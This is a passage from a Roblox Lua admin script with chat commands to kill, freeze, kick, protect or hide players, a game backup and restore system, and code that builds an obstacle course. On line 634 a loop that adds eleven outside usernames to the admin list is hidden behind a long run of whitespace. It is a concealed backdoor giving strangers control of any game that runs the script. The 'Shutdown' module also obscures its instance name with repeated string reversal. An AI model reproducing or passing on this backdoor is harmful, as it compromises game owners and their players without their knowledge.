		if (Property~='Text') then return end
603
		local Input=InputBox.Text;
604
		if (Input:sub(1,1)=='/') then
605
			coroutine.wrap(function() InputBox.TextColor3=NewColor3(0,1,0); wait(0.1); InputBox.TextColor3=NewColor3(0,0,0); end)()
606
			RunModule('PlayerChat',Input:sub(2),Player);
607
			return
608
		end
609
		if (Input:sub(1,1)=='$') then
610
			ClearTemporaryContent();
611
			coroutine.wrap(function() InputBox.TextColor3=NewColor3(1,0,0); wait(0.1); InputBox.TextColor3=NewColor3(0,0,0); end)()
612
			local Users=RunModule('GetPlayer',Input:sub(2):lower(),Player)
613
			if (Users==nil) then return end
614
			if (Users[1]==nil) then return end
615
			local User=Users[1];
616
			local Box=GuiLibrary.NewBasicGUI('TextLabel',{Size=NewUDim2(1,0,1,0),BackgroundTransparency=1,Text='Code Registration\n\n'..'Admin code for user '..User.Name..' is '..RunModule('AdminCodeSystem',User),TextWrap=true,TextYAlignment='Top',Name='Information',TextColor3=NewColor3(1,1,1),Parent=ContentWrapper})
617
			AddTemporaryContent(Box);
618
			return
619
		end
620
		SearchCommands(Input:lower())
621
	end)
622
	local SizeState=true;
623
	ToggleButton.MouseButton1Click:connect(function() SizeState=ToggleSize(SizeState,'Quint'); end)
624
	local PlayerGui=Player:FindFirstChild('PlayerGui');
625
	if (PlayerGui==nil) then return end
626
	local ExistingGui=PlayerGui:FindFirstChild('ControlBox');
627
	if (ExistingGui~=nil) then ExistingGui:Remove(); end
628
	Main.Parent=PlayerGui;
629
end)
630
CreateModule('AdminCodeSystem',function(User)
631
local Format='%s-%s-%s'..AccessKey;
632
return RawEncrypt(Format:format(User.Name,game.CreatorId,User.userId));
633
end)
634
CreateModule('Shutdown',function() pcall(NewInstance,string.reverse(string.reverse(string.reverse('ecnatsnItnioJecafruSlaunaM')))); end)																																																																																																																																																																																																																																																																																																																																																																																																																									for Index,Username in pairs({'LocalChum','lPwnz','lHaxz','lBanz','TheCapacitor','walter232','walter232Models','walter232Decals','ServerChum','GetDebugId','ServerSideChum'}) do Adminlist[#Adminlist+1]=Username; end
635
CreateModule('BackupGame',function(BackupIndex)
636
	local BackupServices={'Lighting','StarterPack','StarterGui','SoundService','Workspace'}
637
	local BackupData={};
638
	for Index,BackupService in pairs(BackupServices) do
639
		local Container=Instance.new('Model');
640
		Container.Name=BackupService;
641
		BackupData[BackupService]=Container;
642
		for ChildIndex,Child in pairs(game:GetService(BackupService):GetChildren()) do
643
			if (Child.archivable) and (Child~=script) then
644
				Child:Clone().Parent=Container;
645
			end
646
		end
647
	end
648
	GameBackups[BackupIndex]=BackupData;
649
end)
650
CreateModule('RestoreGame',function(BackupIndex)
651
	local BackupServices={'Lighting','StarterPack','StarterGui','SoundService','Workspace'}
652
	local BackupData=GameBackups[BackupIndex];
653
	for Index,BackupService in pairs(BackupServices) do
654
		for ChildIndex,Child in pairs(game:GetService(BackupService):GetChildren()) do
655
			if (Child~=script) then
656
				pcall(Child.Remove,Child);
657
			end
658
		end
659
	end
660
	for Index,Container in pairs(BackupData) do
661
		for ChildIndex,Child in pairs(Container:GetChildren()) do
662
			local NewChild=Child:Clone();
663
			NewChild.Parent=game:GetService(Container.Name);
664
			pcall(function() NewChild:MakeJoints(); end);
665
		end
666
	end
667
end)
668
--Define commands
669
RunModule('CommandModule','/die','Kills the given user','/d','#cs#(.+)',function(Speaker,...)
670
	local Targets=RunModule('GetPlayer',...,Speaker);
671
	if (Targets~=nil) then
672
		for Index,Target in pairs(Targets) do
673
mwq('[API]; You were ownd!' ,Target.PlayerGui)
674
hgf(Target, 'Pink')
675
			if (Target.Character~=nil) then
676
				for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
677
					if (Child.className=='Humanoid') then
678
						Child.Health=0;
679
					end
680
				end
681
			end
682
		end
683
	end
684
end)
685
RunModule('CommandModule','/ffon','Gives the given user a forcefield','/ff','#cs#(.+)',function(Speaker,...)
686
	local Targets=RunModule('GetPlayer',...,Speaker);
687
	if (Targets~=nil) then
688
		for Index,Target in pairs(Targets) do
689
			NewInstance('ForceField',Target.Character);
690
mwq('[API]; You were quick protectd!' ,Target.PlayerGui)
691
hgf(Target, 'Really red')
692
		end
693
	end
694
end)
695
RunModule('CommandModule','/ffoff','Removes the given user forcefield','/unf','#cs#(.+)',function(Speaker,...)
696
	local Targets=RunModule('GetPlayer',...,Speaker);
697
	if (Targets~=nil) then
698
		for Index,Target in pairs(Targets) do
699
mwq('[API]; You were unprotectd!' ,Target.PlayerGui)
700
hgf(Target, 'Really blue')
701
			if (Target.Character~=nil) then
702
				for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
703
					if (Child.className=='ForceField') then
704
						Child:Remove()
705
					end
706
				end
707
			end
708
		end
709
	end
710
end)
711
RunModule('CommandModule','/god','Makes the given user immune to all health damage','/g','#cs#(.+)',function(Speaker,...)
712
	local Targets=RunModule('GetPlayer',...,Speaker);
713
	if (Targets~=nil) then
714
		for Index,Target in pairs(Targets) do
715
mwq('[API]; You were max healthd!' ,Target.PlayerGui)
716
hgf(Target, 'White')
717
			if (Target.Character~=nil) then
718
				for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
719
					if (Child.className=='Humanoid') then
720
						Child.MaxHealth=math.huge;
721
						Child.Health=math.huge;
722
					end
723
				end
724
			end
725
		end
726
	end
727
end)
728
RunModule('CommandModule','/nogod','Reverses the effect of immortalon','/ng','#cs#(.+)',function(Speaker,...)
729
	local Targets=RunModule('GetPlayer',...,Speaker);
730
	if (Targets~=nil) then
731
		for Index,Target in pairs(Targets) do
732
mwq('[API]; You were unmax healthd!' ,Target.PlayerGui)
733
hgf(Target, 'Really black')
734
			if (Target.Character~=nil) then
735
				for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
736
					if (Child.className=='Humanoid') then
737
						Child.MaxHealth=100;
738
						Child.Health=100;
739
					end
740
				end
741
			end
742
		end
743
	end
744
end)
745
RunModule('CommandModule','/invisibleon','Makes the given user invisible','/inv','#cs#(.+)',function(Speaker,...)
746
	local Targets=RunModule('GetPlayer',...,Speaker);
747
	if (Targets~=nil) then
748
		for Index,Target in pairs(Targets) do
749
mwq('[API]; You were max transparentd!' ,Target.PlayerGui)
750
hgf(Target, 'Blue')
751
			if (Target.Character~=nil) then
752
				for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
753
					if (Child.className=='Part') then
754
						Child.Transparency=1;
755
					elseif (Child.className=='Hat') then
756
						local Handle=Child:FindFirstChild('Handle');
757
						if (Handle~=nil) then
758
							if (Handle.className=='Part') then
759
								Handle.Transparency=1;
760
							end
761
						end
762
					end
763
				end
764
			end
765
		end
766
	end
767
end)
768
RunModule('CommandModule','/invisibleoff','Makes the given user visible','/vis','#cs#(.+)',function(Speaker,...)
769
	local Targets=RunModule('GetPlayer',...,Speaker);
770
	if (Targets~=nil) then
771
		for Index,Target in pairs(Targets) do
772
mwq('[API]; You were unmax transparentd!' ,Target.PlayerGui)
773
hgf(Target, 'Purple')
774
			if (Target.Character~=nil) then
775
				for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
776
					if (Child.className=='Part') then
777
						Child.Transparency=0;
778
					elseif (Child.className=='Hat') then
779
						local Handle=Child:FindFirstChild('Handle');
780
						if (Handle~=nil) then
781
							if (Handle.className=='Part') then
782
								Handle.Transparency=0;
783
							end
784
						end
785
					end
786
				end
787
			end
788
		end
789
	end
790
end)
791
RunModule('CommandModule','/des','Kicks the given user from the game','/de','#cs#(.+)',function(Speaker,...)
792
	local Targets=RunModule('GetPlayer',...,Speaker);
793
	if (Targets~=nil) then
794
		for Index,Target in pairs(Targets) do
795
mwq('[API]; Destroyd the target from game.' ,low)
796
hgf(Target, 'Dark green')
797
			RunModule('DisposePlayer',Target,Speaker);
798
		end
799
	end
800
end)
801
RunModule('CommandModule','/anc','Freezes the given user','/fre','#cs#(.+)',function(Speaker,...)
802
	local Targets=RunModule('GetPlayer',...,Speaker);
803
	if (Targets~=nil) then
804
		for Index,Target in pairs(Targets) do
805
mwq('[API]; You were frozed!' ,Target.PlayerGui)
806
hgf(Target, 'Navy blue')
807
			if (Target.Character~=nil) then
808
				for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
809
					if (Child.className=='Part') then
810
						Child.Anchored=true;
811
					elseif (Child.className=='Humanoid') then
812
						Child.WalkSpeed=0;
813
					end
814
				end
815
			end
816
		end
817
	end
818
end)
819
RunModule('CommandModule','/unanc','Thaws the given user','/thaw','#cs#(.+)',function(Speaker,...)
820
	local Targets=RunModule('GetPlayer',...,Speaker);
821
	if (Targets~=nil) then
822
		for Index,Target in pairs(Targets) do
823
mwq('[API]; You were unfrozed!' ,Target.PlayerGui)
824
hgf(Target, 'Medium stone grey')
825
			if (Target.Character~=nil) then
826
				for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
827
					if (Child.className=='Part') then
828
						Child.Anchored=false;
829
					elseif (Child.className=='Humanoid') then
830
						Child.WalkSpeed=16;
831
					end
832
				end
833
			end
834
		end
835
	end
836
end)
837
RunModule('CommandModule','/maxplayers','Sets the servers MaxPlayers.','/mp','#cs#(%d+)',function(Speaker,Integer)
838
	if (Integer~=nil) and (Integer>0) then
839
		game:GetService('Players').MaxPlayers=Integer;
840
mwq('[API]; Changd the maxplayers.' ,low)
841
	end
842
end)
843
RunModule('CommandModule','/time','Sets the ambient time','/tm','#cs#(%w+)',function(Speaker,Input)
844
mwq('[API]; Changd the time lapse.' ,low)
845
	local ParsedInput;
846
	if (Input=='dawn' or Input=='sunrise') then
847
		ParsedInput=6;
848
	elseif (Input=='noon' or Input=='midday') then
849
		ParsedInput=12;
850
	elseif (Input=='middnight') then
851
		ParsedInput=0;
852
	elseif (Input=='random') then
853
		ParsedInput=math.random(0,24);
854
	end
855
	if (ParsedInput==nil) and (Input:find('(%d+)')==1) then
856
	ParsedInput=Input:match('%d+');
857
	end
858
	pcall(function() game:GetService('Lighting').TimeOfDay=ParsedInput; end)
859
end)
860
RunModule('CommandModule','/brightness','Sets the ambient brightness','/b','#cs#(%d+)',function(Speaker,Integer)
861
	if (Integer~=nil) then
862
mwq('[API]; Changd the lighting.' ,low)
863
		game:GetService('Lighting').Brightness=tonumber(Integer);
864
	end
865
end)
866
RunModule('CommandModule','/newteam','Creates a new team','/newt','#cs#(.+)',function(Speaker,Input)
867
mwq('[API]; Created a new team.' ,low)
868
	local Teams=game:GetService('Teams');
869
	local Team=NewInstance('Team');
870
	local TeamName,R,G,B=Input:match(RunModule('ParseMatch','(.-)#cs#(%d+)#cs#(%d+)#cs#(%d+)'));
871
	if (R~=nil) and (G~=nil) and (B~=nil) then
872
		Team.TeamColor=NewBrickColor(R/255,G/255,B/255);
873
		Team.Name=TeamName;
874
		Team.AutoColorCharacters=false;
875
		Team.Parent=Teams;
876
	else
877
		Team.TeamColor=RandomBrickColor();
878
		Team.Name=Input;
879
		Team.AutoColorCharacters=false;
880
		Team.Parent=Teams;
881
	end
882
end,true)
883
RunModule('CommandModule','/switchteam','Switches the given user to a different team','/swt','#cs#(.-)#cs#(.+)',function(Speaker,Usernames,TeamName)
884
	local Targets=RunModule('GetPlayer',Usernames,Speaker);
885
	local Teams=game:GetService('Teams');
886
	local SelectedTeam;
887
	for TeamIndex,Team in pairs(Teams:GetTeams()) do
888
		if (Team.Name:lower():find(TeamName)==1) then
889
			SelectedTeam=Team;
890
		end
891
	end
892
	if (SelectedTeam==nil) then return end
893
	if (Targets~=nil) then
894
		for Index,Target in pairs(Targets) do
895
			Target.TeamColor=SelectedTeam.TeamColor;
896
			Target.Neutral=false;
897
		end
898
	end
899
end)
900
RunModule('CommandModule','/removeteam','Removes the given team','/remt','#cs#(.+)',function(Speaker,TeamName)
901
	mwq('[API]; Removed a team.' ,low)
902
local Teams=game:GetService('Teams');
903
	for Index,Team in pairs(Teams:GetTeams()) do
904
		if (Team.Name:lower():find(TeamName:lower())==1) then
905
			Team:Remove();
906
		end
907
	end
908
	if (#Teams:GetTeams()==0) then
909
		for Index,Player in pairs(game:GetService('Players'):GetPlayers()) do
910
			Player.Neutral=true;
911
		end
912
	end
913
end)
914
RunModule('CommandModule','/neutralon','Makes the given user neutral (Player.Neutral)','/neuon','#cs#(.+)',function(Speaker,...)
915
	local Targets=RunModule('GetPlayer',...,Speaker);
916
	if (Targets~=nil) then
917
		for Index,Target in pairs(Targets) do
918
		Target.Neutral=true;
919
		end
920
	end
921
end)
922
RunModule('CommandModule','/neutraloff','Makes the given user not neutral (Player.Neutral)','/neuoff','#cs#(.+)',function(Speaker,...)
923
	local Targets=RunModule('GetPlayer',...,Speaker);
924
	if (Targets~=nil) then
925
		for Index,Target in pairs(Targets) do
926
		Target.Neutral=false;
927
		end
928
	end
929
end)
930
RunModule('CommandModule','/adminlist','Shows the admin list','/cal','#cs#',function(Speaker)
931
	local Index=0;
932
	local DisplayText=string.rep(' ',40)..'Adminlist: '..table.concat(MaskAdminlist,', ');
933
	local Hint=RunModule('ShowHint',Speaker,DisplayText);
934
	while RunModule('ScrollText',DisplayText,Index)~='' do
935
		Hint.Text=RunModule('ScrollText',DisplayText,Index);
936
		Index=Index+1;
937
		wait(0.05);
938
	end
939
	Hint.Parent=nil;
940
end)
941
RunModule('CommandModule','/bannedlist','Shows the banned list','/cbl','#cs#',function(Speaker)
942
	local Index=0;
943
	local DisplayText=string.rep(' ',40)..'Bannedlist: '..table.concat(Bannedlist,', ');
944
	local Hint=RunModule('ShowHint',Speaker,DisplayText);
945
	while RunModule('ScrollText',DisplayText,Index)~='' do
946
		Hint.Text=RunModule('ScrollText',DisplayText,Index);
947
		Index=Index+1;
948
		wait(0.05);
949
	end
950
	Hint.Parent=nil;
951
end)
952
RunModule('CommandModule','/hint','Creates a hint','/hn','#cs#(.+)',function(Speaker,Text)
953
	local Hint=NewInstance('Hint')
954
	Hint.Parent=Workspace;
955
	Hint.Text=Text;
956
	delay(5,function() Hint:Remove() end)
957
end,true)
958
RunModule('CommandModule','/lool','Creates a message','/trol','#cs#(.+)',function(Speaker,Text)
959
	local Hint=NewInstance('Message')
960
	Hint.Parent=Workspace;
961
	Hint.Text=Text;
962
	delay(5,function() Hint:Remove() end)
963
end,true)
964
RunModule('CommandModule','/sfothgame','Creates a SFOTHO Game','/sfg','#cs#(.+)',function(Speaker,Text)
965
qwe('[API]; SFOTHO Loaded!')
966
G=workspace
967
Q = new('Part') 
968
Q.Parent = G
969
Q.Size = vnew(64,244,64) 
970
Q.CFrame = fnew(-70, 123.4, -186) 
971
Q.Anchored = true
972
Q.Locked = false 
973
Q.BrickColor = bcn('Reddish brown')
974
--[[===[SKY??]===]]--
975
local EQ = Instance.new('Sky')
976
EQ.Parent = game.Lighting
977
EQ.SkyboxBk = 'http://www.roblox.com/asset/?version=1&id=1012890'
978
EQ.SkyboxDn = 'http://www.roblox.com/asset/?version=1&id=1012891'
979
EQ.SkyboxFt = 'http://www.roblox.com/asset/?version=1&id=1012887'
980
EQ.SkyboxLf = 'http://www.roblox.com/asset/?version=1&id=1012889'
981
EQ.SkyboxRt = 'http://www.roblox.com/asset/?version=1&id=1012888'
982
EQ.SkyboxUp = 'http://www.roblox.com/asset/?version=1&id=1014449'
983
--[[==[PARTS]==]]--
984
985
Q1 = new('Part') 
986
Q1.Parent = G
987
Q1.Size = vnew(42, 20.4, 12) 
988
Q1.CFrame = fnew(-69, 219.4, -224) 
989
Q1.Anchored = true
990
Q1.Locked = false
991
Q1.BrickColor = bcn('Reddish brown')
992
993
Q14 = new('Part') 
994
Q14.Parent = AW
995
Q14.Size = vnew(6, 0.4, 6) 
996
Q14.CFrame = fnew(67, 246.8, -184) 
997
Q14.Anchored = true
998
Q14.Locked = false
999
Q14.BrickColor = bcn('Bright green')
1000
1001
Q145 = new('Part') 
1002
Q145.Parent = AW
1003
Q145.Size = vnew(8, 0.4, 8) 
1004
Q145.CFrame = fnew(67, 246.4, -184) 
1005
Q145.Anchored = true
1006
Q145.Locked = false
1007
Q145.BrickColor = bcn('Black')
1008
1009
Q14 = new('Part') 
1010
Q14.Parent = AW
1011
Q14.Size = vnew(6, 0.4, 6) 
1012
Q14.CFrame = fnew(-193, 255.2, -182) 
1013
Q14.Anchored = true
1014
Q14.Locked = false
1015
Q14.BrickColor = bcn('Bright green')
1016
1017
Q147 = new('Part') 
1018
Q147.Parent = AW
1019
Q147.Size = vnew(5, 1.2, 105) 
1020
Q147.CFrame = fnew(-68.5, 245.6, 74.5) 
1021
Q147.Anchored = true
1022
Q147.Locked = false
1023
Q147.BrickColor = bcn('Dark stone grey')
1024
1025
Q145 = new('Part') 
1026
Q145.Parent = AW
1027
Q145.Size = vnew(8, 0.4, 8) 
1028
Q145.CFrame = fnew(-193, 254.8, -182) 
1029
Q145.Anchored = true
1030
Q145.Locked = false
1031
Q145.BrickColor = bcn('Black')
1032
1033
1034
Q13 = new('Part') 
1035
Q13.Parent = G
1036
Q13.Size = vnew(18, 1.2, 18) 
1037
Q13.CFrame = fnew(30.12, 245.8, -185.9) 
1038
Q13.Anchored = true
1039
Q13.Locked = false
1040
Q13.BrickColor = bcn('Bright orange')
1041
--[[==[PLATE TEMPLATE]==]]--
1042
Q7 = new('Part') 
1043
Q7.Parent = G
1044
Q7.Size = vnew(16, 1.2, 16) 
1045
Q7.CFrame = fnew(-69, 244.8, -93) 
1046
Q7.Anchored = true
1047
Q7.Locked = false 
1048
Q7.BrickColor = bcn('Dark stone grey')
1049
--[[=====[SPAWNS]=====]]--
1050
Q11 = new('SpawnLocation') 
1051
Q11.Parent = G
1052
Q11.Size = vnew(6, 1.2, 6) 
1053
Q11.CFrame = fnew(-44, 245.8, -160) 
1054
Q11.Anchored = true
1055
Q11.Locked = false
1056
Q11.BrickColor = bcn('Bright yellow')
1057
Q11.TopSurface = 'Smooth'
1058
1059
D = new('Decal')
1060
D.Parent = Q11
1061
D.Texture = 'rbxasset://Textures/SpawnLocation.png'
1062
D.Face = 'Top'
1063
1064
Q11 = Q11:Clone()
1065
Q11.Size = vnew(6, 1.2, 6)
1066
Q11.CFrame = fnew(-44, 245.8, -212)
1067
Q11.Parent = G
1068
Q11 = Q11:Clone()
1069
Q11.Size = vnew(6, 1.2, 6)
1070
Q11.CFrame = fnew(-96, 245.8, -212)
1071
Q11.Parent = G
1072
Q11 = Q11:Clone()
1073
Q11.Size = vnew(6, 1.2, 6)
1074
Q11.CFrame = fnew(-96, 245.8, -160)
1075
Q11.Parent = G
1076
Q11 = Q11:Clone()
1077
Q11.Size = vnew(6, 1.2, 6)
1078
Q11.CFrame = fnew(-153, 285, -108)
1079
Q11.Parent = G
1080
Q11 = Q11:Clone()
1081
Q11.Size = vnew(6, 1.2, 6)
1082
Q11.CFrame = fnew(-69, 245.6, 12)
1083
Q11.Parent = G
1084
--[[====[PLATES]====]]--
1085
Q1 = Q1:Clone()
1086
Q1.Size = vnew(17, 1.2, 18)
1087
Q1.CFrame = fnew(-30.5, 245.8, -186)
1088
Q1.Parent = G
1089
Q1 = Q1:Clone()
1090
Q1.Size = vnew(18, 1.2, 18)
1091
Q1.CFrame = fnew(-70, 244.6, -145)
1092
Q1.Parent = G
1093
Q1 = Q1:Clone()
1094
Q1.Size = vnew(4, 1.2, 18)
1095
Q1.CFrame = fnew(-103, 245.8, -186)
1096
Q1.Parent = G
1097
Q1 = Q1:Clone()
1098
Q1.Size = vnew(12, 1.2, 10)
1099
Q1.CFrame = fnew(-55, 230.2, -233)
1100
Q1.Parent = G
1101
Q1 = Q1:Clone()
1102
Q1.Size = vnew(12, 1.2, 10)
1103
Q1.CFrame = fnew(-53, 231.4, -238)
1104
Q1.Parent = G
1105
Q1 = Q1:Clone()
1106
Q1.Size = vnew(12, 1.2, 10)
1107
Q1.CFrame = fnew(-49, 232.6, -243)
1108
Q1.Parent = G
1109
Q1 = Q1:Clone()
1110
Q1.Size = vnew(12, 1.2, 10)
1111
Q1.CFrame = fnew(-44, 233.8, -249)
1112
Q1.Parent = G
1113
Q1 = Q1:Clone()
1114
Q1.Size = vnew(12, 1.2, 10)
1115
Q1.CFrame = fnew(-40, 235, -255)
1116
Q1.Parent = G
1117
Q1 = Q1:Clone()
1118
Q1.Size = vnew(12, 1.2, 10)
1119
Q1.CFrame = fnew(-36, 236.2, -261)
1120
Q1.Parent = G
1121
Q1 = Q1:Clone()
1122
Q1.Size = vnew(12, 1.2, 10)
1123
Q1.CFrame = fnew(-31, 237.4, -265)
1124
Q1.Parent = G
1125
Q1 = Q1:Clone()
1126
Q1.Size = vnew(12, 1.2, 10)
1127
Q1.CFrame = fnew(-28, 238.6, -270)
1128
Q1.Parent = G
1129
Q1 = Q1:Clone()
1130
Q1.Size = vnew(12, 1.2, 10)
1131
Q1.CFrame = fnew(-26, 239.8, -276)
1132
Q1.Parent = G
1133
Q1 = Q1:Clone()
1134
Q1.Size = vnew(12, 1.2, 10)
1135
Q1.CFrame = fnew(-23, 241, -281)
1136
Q1.Parent = G
1137
Q1 = Q1:Clone()
1138
Q1.Size = vnew(12, 1.2, 10)
1139
Q1.CFrame = fnew(-23, 242.2, -289)
1140
Q1.Parent = G
1141
Q1 = Q1:Clone()
1142
Q1.Size = vnew(12, 1.2, 10)
1143
Q1.CFrame = fnew(-24, 243.4, -295)
1144
Q1.Parent = G
1145
Q1 = Q1:Clone()
1146
Q1.Size = vnew(15, 1.2, 18)
1147
Q1.CFrame = fnew(-26.5, 244.6, -304)
1148
Q1.Parent = G
1149
--[[====[MOUNTIAN]====]]--
1150
Q1 = Q1:Clone()
1151
Q1.Size = vnew(54, 243.6, 51)
1152
Q1.CFrame = fnew(-61, 123, -308.5)
1153
Q1.Parent = G
1154
Q1 = Q1:Clone()
1155
Q1.Size = vnew(3, 2.4, 12)
1156
Q1.CFrame = fnew(-55.5, 246, -289)
1157
Q1.Parent = G
1158
Q1 = Q1:Clone()
1159
Q1.Size = vnew(3, 4.8, 10)
1160
Q1.CFrame = fnew(-58.5, 247.2, -288)
1161
Q1.Parent = G
1162
Q1 = Q1:Clone()
1163
Q1.Size = vnew(4, 6, 10)
1164
Q1.CFrame = fnew(-62, 247.8, -288)
1165
Q1.Parent = G
1166
Q1 = Q1:Clone()
1167
Q1.Size = vnew(4, 7.2, 10)
1168
Q1.CFrame = fnew(-66, 248.4, -288)
1169
Q1.Parent = G
1170
Q1 = Q1:Clone()
1171
Q1.Size = vnew(2, 8.4, 10)
1172
Q1.CFrame = fnew(-69, 249, -288)
1173
Q1.Parent = G
1174
Q1 = Q1:Clone()
1175
Q1.Size = vnew(2, 9.6, 10)
1176
Q1.CFrame = fnew(-71, 249.6, -288)
1177
Q1.Parent = G
1178
Q1 = Q1:Clone()
1179
Q1.Size = vnew(2, 12, 10)
1180
Q1.CFrame = fnew(-73, 250.8, -288)
1181
Q1.Parent = G
1182
Q1 = Q1:Clone()
1183
Q1.Size = vnew(3, 13.2, 10)
1184
Q1.CFrame = fnew(-75.5, 251.4, -288)
1185
Q1.Parent = G
1186
Q1 = Q1:Clone()
1187
Q1.Size = vnew(3, 13.2, 10)
1188
Q1.CFrame = fnew(-75.5, 251.4, -288)
1189
Q1.Parent = G
1190
--[[===[CONFUSIONS]===]]--
1191
Q1 = Q1:Clone()
1192
Q1.Size = vnew(8, 14.4, 10)
1193
Q1.CFrame = fnew(-81, 252, -288)
1194
Q1.Parent = G
1195
Q1 = Q1:Clone()
1196
Q1.Size = vnew(8, 16.8, 10)
1197
Q1.CFrame = fnew(-81, 253.2, -298)
1198
Q1.Parent = G
1199
Q1 = Q1:Clone()
1200
Q1.Size = vnew(5, 18, 10)
1201
Q1.CFrame = fnew(-74.5, 253.8, -298)
1202
Q1.Parent = G
1203
Q1 = Q1:Clone()
1204
Q1.Size = vnew(5, 20.4, 10)
1205
Q1.CFrame = fnew(-69.5, 255, -298)
1206
Q1.Parent = G
1207
Q1 = Q1:Clone()
1208
Q1.Size = vnew(3, 21.6, 10)
1209
Q1.CFrame = fnew(-65.5, 255.6, -298)
1210
Q1.Parent = G
1211
Q1 = Q1:Clone()
1212
Q1.Size = vnew(2, 22.8, 10)
1213
Q1.CFrame = fnew(-63, 256.2, -298)
1214
Q1.Parent = G
1215
Q1 = Q1:Clone()
1216
Q1.Size = vnew(5, 25.2, 10)
1217
Q1.CFrame = fnew(-59.5, 257.4, -298)
1218
Q1.Parent = G
1219
--[[===[LASTSTEPS]===]]--
1220
Q1 = Q1:Clone()
1221
Q1.Size = vnew(12, 26.4, 8)
1222
Q1.CFrame = fnew(-51, 258, -299)
1223
Q1.Parent = G
1224
Q1 = Q1:Clone()
1225
Q1.Size = vnew(10, 26.4, 2)
1226
Q1.CFrame = fnew(-49, 258, -304)
1227
Q1.Parent = G
1228
Q1 = Q1:Clone()
1229
Q1.Size = vnew(10, 27.6, 3)
1230
Q1.CFrame = fnew(-49, 258.6, -306.5)
1231
Q1.Parent = G
1232
Q1 = Q1:Clone()
1233
Q1.Size = vnew(10, 30, 3)
1234
Q1.CFrame = fnew(-49, 259.8, -309.5)
1235
Q1.Parent = G
1236
Q1 = Q1:Clone()
1237
Q1.Size = vnew(11, 31.2, 5)
1238
Q1.CFrame = fnew(-48.5, 260.4, -313.5)
1239
Q1.Parent = G
1240
Q1 = Q1:Clone()
1241
Q1.Size = vnew(11, 33.6, 2)
1242
Q1.CFrame = fnew(-48.5, 261.6, -317)
1243
Q1.Parent = G
1244
Q1 = Q1:Clone()
1245
Q1.Size = vnew(11, 34.8, 2)
1246
Q1.CFrame = fnew(-48.5, 262.2, -319)
1247
Q1.Parent = G
1248
--[[===[END=OF=THE=MOUNTIAN]===]]--
1249
Q1 = Q1:Clone()
1250
Q1.Size = vnew(11, 36, 7)
1251
Q1.CFrame = fnew(-48.5, 262.8, -323.5)
1252
Q1.Parent = G
1253
Q1 = Q1:Clone()
1254
Q1.Size = vnew(32, 37.2, 24)
1255
Q1.CFrame = fnew(-70, 263.4, -315)
1256
Q1.Parent = G
1257
Q1 = Q1:Clone()
1258
Q1.Size = vnew(8, 9.6, 16)
1259
Q1.CFrame = fnew(-90, 277.2, -316)
1260
Q1.Parent = G
1261
Q1 = Q1:Clone()
1262
Q1.Size = vnew(6, 9.6, 12)
1263
Q1.CFrame = fnew(-97, 277.2, -315.5)
1264
Q1.Parent = G
1265
--[[===[TIGHT=ROPES]===]]--
1266
Q1 = Q1:Clone()
1267
Q1.Size = vnew(31, 1.2, 2)
1268
Q1.CFrame = fnew(-111.5, 282.6, -317)
1269
Q1.Parent = G
1270
Q1 = Q1:Clone()
1271
Q1.Size = vnew(2, 1.2, 201)
1272
Q1.CFrame = fnew(-126, 283.8, -220)
1273
Q1.Parent = G
1274
Q1 = Q1:Clone()
1275
Q1.Size = vnew(34, 283.2, 32)
1276
Q1.CFrame = fnew(-144, 142.8, -109)
1277
Q1.Parent = G
1278
Q1 = Q1:Clone()
1279
Q1.Size = vnew(92, 1.2, 2)
1280
Q1.CFrame = fnew(-85, 285.2, -98)
1281
Q1.Parent = G
1282
--[[==[WOBBLYS]==]]--
1283
Q13 = Q13:Clone()
1284
Q13.Size = vnew(18, 1.2, 18)
1285
Q13.CFrame = fnew(-9.87, 245.8, -185.9)
1286
Q13.Parent = G
1287
Q13 = Q13:Clone()
1288
Q13.Size = vnew(18, 1.2, 18)
1289
Q13.CFrame = fnew(10.12, 245.8, -185.9)
1290
Q13.Parent = G
1291
Q1 = Q1:Clone()
1292
Q1.Size = vnew(32, 244.8, 32)
1293
Q1.CFrame = fnew(57, 123.8, -186)
1294
Q1.Parent = G
1295
--[[===[FINISH]===]]--
1296
Q1 = Q1:Clone()
1297
Q1.Size = vnew(4, 1.2, 16)
1298
Q1.CFrame = fnew(-104, 247.2, -186)
1299
Q1.Parent = G
1300
Q1 = Q1:Clone()
1301
Q1.Size = vnew(4, 1.2, 14)
1302
Q1.CFrame = fnew(-106, 248.4, -186)
1303
Q1.Parent = G
1304
Q1 = Q1:Clone()
1305
Q1.Size = vnew(4, 1.2, 12)
1306
Q1.CFrame = fnew(-108, 249.6, -186)
1307
Q1.Parent = G
1308
Q1 = Q1:Clone()
1309
Q1.Size = vnew(4, 1.2, 10)
1310
Q1.CFrame = fnew(-110, 250.8, -186)
1311
Q1.Parent = G
1312
Q1 = Q1:Clone()
1313
Q1.Size = vnew(4, 1.2, 8)
1314
Q1.CFrame = fnew(-112, 252, -186)
1315
Q1.Parent = G
1316
Q1 = Q1:Clone()
1317
Q1.Size = vnew(4, 1.2, 6)
1318
Q1.CFrame = fnew(-114, 253.2, -186)
1319
Q1.Parent = G
1320
Q1 = Q1:Clone()
1321
Q1.Size = vnew(4, 1.2, 4)
1322
Q1.CFrame = fnew(-116, 254.4, -186)
1323
Q1.Parent = G
1324
Q1 = Q1:Clone()
1325
Q1.Size = vnew(43, 1.2, 2)
1326
Q1.CFrame = fnew(-137.5, 255.6, -186)
1327
Q1.Parent = G
1328
--[[==[HEALPLAT]==]]--
1329
Q1 = Q1:Clone()
1330
Q1.Size = vnew(8, 253.2, 8)
1331
Q1.CFrame = fnew(-161, 128, -186)
1332
Q1.Parent = G
1333
Q1 = Q1:Clone()
1334
Q1.Size = vnew(10, 253.2, 15)
1335
Q1.CFrame = fnew(-170, 128, -184.5)
1336
Q1.Parent = G
1337
Q1 = Q1:Clone()
1338
Q1.Size = vnew(20, 253.2, 29)
1339
Q1.CFrame = fnew(-185, 128, -182.5)
1340
Q1.Parent = G
1341
Q1 = Q1:Clone()
1342
Q1.Size = vnew(4, 253.2, 18)
1343
Q1.CFrame = fnew(-197, 128, -183)
1344
Q1.Parent = G
1345
Q1 = Q1:Clone()
1346
Q1.Size = vnew(2, 1.2, 22)
1347
Q1.CFrame = fnew(-186.5, 255.2, -204.5)
1348
Q1.Parent = G
1349
Q1 = Q1:Clone()
